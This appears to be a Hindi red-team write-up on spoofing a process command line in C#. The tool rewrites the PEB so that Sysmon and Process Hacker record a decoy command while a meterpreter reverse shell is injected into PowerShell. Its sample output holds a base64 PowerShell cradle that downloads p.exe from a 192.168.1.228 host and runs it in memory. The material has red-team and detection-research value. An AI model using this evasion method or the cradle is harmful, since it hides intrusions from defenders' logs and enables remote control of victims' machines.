
C# से नया प्रोसेस स्पॉन करते समय कमांड लाइन को कैसे स्पूफ करें।
C# का उपयोग करके meterpreter शेल इंजेक्ट करने का एक उदाहरण, जबकि कमांड लाइन को स्पूफ किया जा रहा है। कमांड लाइन प्रोसेस एनवायरनमेंट ब्लॉक में संग्रहीत होती है, जब एक नई प्रक्रिया शुरू होती है तो लॉग की जाती है, और प्रोसेस हैकर और टास्क मैनेजर जैसे टूल्स में प्रदर्शित होती है।
यह कोड एडम चेस्टर/XPN के How to Argue like Cobalt Strike ब्लॉग पर आधारित है, यह ब्लॉग बताता है कि कैसे कोबाल्ट स्ट्राइक बीकन इंजेक्ट करते समय किसी प्रक्रिया की कमांड लाइन को स्पूफ करता है।
मैंने इसे C# संस्करण बनाने के आधार के रूप में उपयोग किया जो एक PowerShell प्रक्रिया उत्पन्न करता है और एक meterpreter रिवर्स शेल इंजेक्ट करता है। बेशक ऐसा करने के लिए .Net बाइनरी की कोई आवश्यकता नहीं है लेकिन यह प्रदर्शित करता है कि कमांड को कैसे स्पूफ किया जा सकता है।
एक नई प्रक्रिया को निलंबित अवस्था में स्पूफ किए गए कमांड लाइन तर्क के साथ शुरू किया जाता है।
स्पूफ किया गया कमांड लॉग किया जाता है लेकिन हम प्रक्रिया के PEB में कमांड लाइन को बदलने में सक्षम होते हैं। जब मुख्य थ्रेड फिर से शुरू होता है तो प्रक्रिया PEB में नई कमांड लाइन का उपयोग करती है।
कोड का निष्पादन नीचे दिखाया गया है:
[+] Spoofing command: powershell.exe nothing to see here! :-P
[+] Process spawned, PID: 8588
[+] PEB Address: 0x2B2366F000
[+] ProcessParameters Address: 0x1EF61560000
[+] CommandLine Address: 0x1EF615606BC
[+] Original CommandLine: powershell.exe nothing to see here! :-P
[+] New CommandLine: powershell.exe -exec bypass -enc WwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACgASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAAIgBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4AMgAyADgALwBwAC4AZQB4AGUAIgAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQAuAEMAbwBuAHQAZQBuAHQAKQAuAEUAbgB0AHIAeQBQAG8AaQBuAHQALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAKAAsACAAWwBzAHQAcgBpAG4AZwBbAF0AXQAgACgAJwAxADkAMgAuADEANgA4AC4AMQAuADIAMgA4ACcALAAgAFsAcwB0AHIAaQBuAGcAXQAgACQAUABJAEQALAAgACcAMQAwACcAKQApACkAOwB3AGgAaQBsAGUAIAAoACQAdAByAHUAZQApAHsAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMQAwADAAMAB9AA== , written to process
[+] Resuming process
यह उदाहरण PowerShell का उपयोग करके एक meterpreter रिवर्स शेल इंजेक्ट करता है लेकिन यह एक स्पूफ किए गए कमांड लाइन तर्क के साथ लॉग हो जाता है।
Sysmon मूल (स्पूफ की गई) कमांड लाइन को लॉग करता है:

प्रोसेस हैकर निष्पादित कमांड को प्रकट नहीं करता है:
